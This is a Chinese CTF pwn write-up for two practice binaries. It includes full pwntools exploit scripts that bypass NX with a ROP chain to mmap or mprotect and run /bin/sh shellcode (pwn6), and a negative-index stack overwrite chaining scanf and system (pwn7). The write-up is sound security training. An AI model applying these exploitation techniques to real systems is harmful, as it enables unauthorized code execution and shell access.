继续搞pwn
Dockerfile
1 2 3 $ cd pwn $ docker build -t ubuntu:stack2 . $ docker run --name stack2 -it -d -P ubuntu:stack2
0x01 PWN6 描述: 谁说开了nx我就用不了shellcode了.
1 2 3 4 5 6 7 $ gdb pwn6 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
只开了NX, 堆栈不可执行了, 要怎么执行shellcode呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ binwalk pwn6 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (GNU/Linux) 613888 0x95E00 Unix path: /proc/sys/vm/overcommit_memory 620706 0x978A2 Unix path: /sysdeps/x86_64/multiarch/../cacheinfo.c 622053 0x97DE5 Unix path: /proc/sys/kernel/rtsig-max 624130 0x98602 Unix path: /sysdeps/unix/sysv/linux/getcwd.c 625541 0x98B85 Unix path: /proc/sys/kernel/osrelease 632992 0x9A8A0 Unix path: /usr/lib/locale/locale-archive 697530 0xAA4BA Unix path: /nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c 700624 0xAB0D0 ELF, 64-bit LSB processor-specific, (SYSV) 703834 0xABD5A Unix path: /sysdeps/unix/sysv/linux/dl-origin.c
一个64位程序, 还是用的静态编译
根据套路, 在NX打开的情况下可以通过两个函数执行shellcode
一个是mmap
:
1 2 3 4 5 $ man mmap .... void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); ....
还有一个是mprotect
:
1 2 3 4 $ man mprotect .... int mprotect(void *addr, size_t len, int prot); ....
而且正好, 这两个函数都被静态编译到代码中了,
通过mmap
函数执行shellcode的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.terminal = ['terminator', '-x', 'bash', '-c'] # context.log_level = 'debug' p = process('pwn6') e = ELF('pwn6') p.readuntil("calculations: ") p.sendline("255") def set_add(addr=0): if addr < 80: a = 100 b = a - addr p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline(str(a)) p.readuntil("y: ") p.sendline(str(b)) p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline("100") p.readuntil("y: ") p.sendline("100") else: a = 50 b = addr - a p.readuntil("=> ") p.sendline("1") p.readuntil("x: ") p.sendline(str(a)) p.readuntil("y: ") p.sendline(str(b)) p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline("100") p.readuntil("y: ") p.sendline("100") # padding for x in xrange(18): if x == 13 or x == 12: # free(0) a = '100' b = '100' p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline(a) p.readuntil("y: ") p.sendline(b) continue a = "1094778880" b = "16705" p.readuntil("=> ") p.sendline("1") p.readuntil("x: ") p.sendline(a) p.readuntil("y: ") p.sendline(b) shellcode = 'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05' shellcode_addr = 0x1921000 # mmap(rdi=shellcode_addr, rsi=len(shellcode), rdx=7, rcx=34, r8=0, r9=0) mmap_address = e.symbols['mmap'] read_address = e.symbols['read'] set_rdi = 0x401b73 set_rsi = 0x401c87 set_rdx = 0x437a85 set_rcx = 0x4b8f17 # rdi = shellcode_addr set_add(set_rdi) set_add(shellcode_addr) # rsi = len(shellcode) set_add(set_rsi) set_add(len(shellcode)) # rdx = 7 set_add(set_rdx) set_add(7) # rcx = 34 set_add(set_rcx) set_add(34) # call mmap set_add(mmap_address) # read(0, shellcode, len(shellcode)) set_add(set_rdi) set_add(0) set_add(set_rsi) set_add(shellcode_addr) set_add(set_rdx) set_add(len(shellcode)) set_add(read_address) set_add(shellcode_addr) p.readuntil("=> ") p.sendline('5') p.sendline(shellcode) p.interactive()
首先是mmap的几个参数, 主要是prot和flags,
其值的定义在glibc/bits/mman-linux.h
文件中:
1 2 3 4 #define PROT_READ 0x1 /* Page can be read. */ #define PROT_WRITE 0x2 /* Page can be written. */ #define PROT_EXEC 0x4 /* Page can be executed. */ #define PROT_NONE 0x0 /* Page can not be accessed. */
这个prot的4个参数, 根linux的权限设置差不多, 这里我把映射的地址设为rwx
, 所以其值为7
然后是flags的定义:
1 2 3 4 5 6 7 8 9 10 11 #define MAP_SHARED 0x01 /* Share changes. */ #define MAP_PRIVATE 0x02 /* Changes are private. */ #define MAP_FIXED 0x10 /* Interpret addr exactly. */ #ifdef __USE_MISC # define MAP_FILE 0 # ifdef __MAP_ANONYMOUS # define MAP_ANONYMOUS __MAP_ANONYMOUS /* Don't use a file. */ # else # define MAP_ANONYMOUS 0x20 /* Don't use a file. */ # endif # define MAP_ANON MAP_ANONYMOUS
flags我们需要设置MAP_ANONYMOUS
和MAP_PRIVATE
然后说说这个程序的溢出部分, 溢出部分其实很好找的
memcpy(rdi, rsi, rdx=len(rsi))
rdi的栈长度远小于rsi
然后rsi的值为一个堆地址, 堆上储存了每次计算的结果, 所以可以通过构造计算, 来构造任意地址字符这些
然后还有用mprotect
来执行shellcode的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.terminal = ['terminator', '-x', 'bash', '-c'] # context.log_level = 'debug' p = process('pwn6') e = ELF('pwn6') p.readuntil("calculations: ") p.sendline("255") def set_add(addr=0): if addr < 80: a = 100 b = a - addr p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline(str(a)) p.readuntil("y: ") p.sendline(str(b)) p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline("100") p.readuntil("y: ") p.sendline("100") else: a = 50 b = addr - a p.readuntil("=> ") p.sendline("1") p.readuntil("x: ") p.sendline(str(a)) p.readuntil("y: ") p.sendline(str(b)) p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline("100") p.readuntil("y: ") p.sendline("100") # padding for x in xrange(18): if x == 13 or x == 12: # free(0) a = '100' b = '100' p.readuntil("=> ") p.sendline("2") p.readuntil("x: ") p.sendline(a) p.readuntil("y: ") p.sendline(b) continue a = "1094778880" b = "16705" p.readuntil("=> ") p.sendline("1") p.readuntil("x: ") p.sendline(a) p.readuntil("y: ") p.sendline(b) shellcode = 'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05' shellcode_addr = 0x6c3000 read_address = e.symbols['read'] mprotect_address = e.symbols['mprotect'] set_rdi = 0x401b73 set_rsi = 0x401c87 set_rdx = 0x437a85 # rdi = shellcode_addr set_add(set_rdi) set_add(shellcode_addr) # rsi = len(shellcode) set_add(set_rsi) set_add(len(shellcode)) # rdx = 7 set_add(set_rdx) set_add(7) # set_add(mmap_address) set_add(mprotect_address) # read(0, shellcode, len(shellcode)) set_add(set_rdi) set_add(0) set_add(set_rsi) set_add(shellcode_addr) set_add(set_rdx) set_add(len(shellcode)) set_add(read_address) set_add(shellcode_addr) p.readuntil("=> ") p.sendline('5') p.sendline(shellcode) p.interactive()
mprotect
只有三个参数, 其作用是改变起始地址add, 长度len, 的权限为prot
我找了个.bss段, 设为有可读写执行权限
—–2017/08/24 更新——-
起始地址需要页对齐,0x1000的倍数
0x02 PWN7 1 2 3 4 5 6 7 8 9 10 11 12 $ binwalk pwn7 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV) $ gdb pwn7 gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
pwn7是个32位程序, 然后发现pwn7开了CANARY, 栈溢出保护
CANARY保护是通过添加一个栈cookie然后在ret
之前使用__stack_chk_fail
去检查cookie的正确性
通过逆向, 发现只有一个位置有该函数
1 8048725: e8 e6 fc ff ff call 8048410 <__stack_chk_fail@plt>
关键函数里没有该函数, 所以该保护形同虚设
漏洞点在:
jle为有符号比较, 我们可以通过使用负数绕过该判断, 从而覆盖栈
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.terminal = ['terminator', '-x', 'bash', '-c'] # context.log_level = 'debug' p = process("pwn7") e = ELF("pwn7") start_add = 0xffffffff - 0xc000000d system_add = e.symbols['system'] scanf_add = e.symbols['__isoc99_scanf'] ret_addr = 0x80487ba p.readuntil("you? \n") p.sendline("haha") p.readuntil("index\n") p.sendline("-%s"%(start_add + 1)) p.readuntil("value\n") p.sendline("%s"%scanf_add) p.readuntil("index\n") p.sendline("-%s"%(start_add)) p.readuntil("value\n") p.sendline("%s"%ret_addr) p.readuntil("index\n") p.sendline("-%s"%(start_add -1)) p.readuntil("value\n") p.sendline("%s"%0x804882f) p.readuntil("index\n") p.sendline("-%s"%(start_add - 2)) p.readuntil("value\n") p.sendline("%s"%0x8049b24) p.readuntil("index\n") p.sendline("-%s"%(start_add - 3)) p.readuntil("value\n") p.sendline("%s"%system_add) p.readuntil("index\n") p.sendline("-%s"%(start_add - 4)) p.readuntil("value\n") p.sendline("%s"%system_add) p.readuntil("index\n") p.sendline("-%s"%(start_add - 5)) p.readuntil("value\n") p.sendline("%s"%0x8049b24) p.readuntil("index\n") p.sendline("-1") p.readuntil("value\n") p.sendline("9") p.sendline("/bin/sh") p.interactive()
整个逻辑比上题简单吧, 首先要能溢出, binary中已经存在system函数了, 然后是写/bin/sh
字符串到.bss段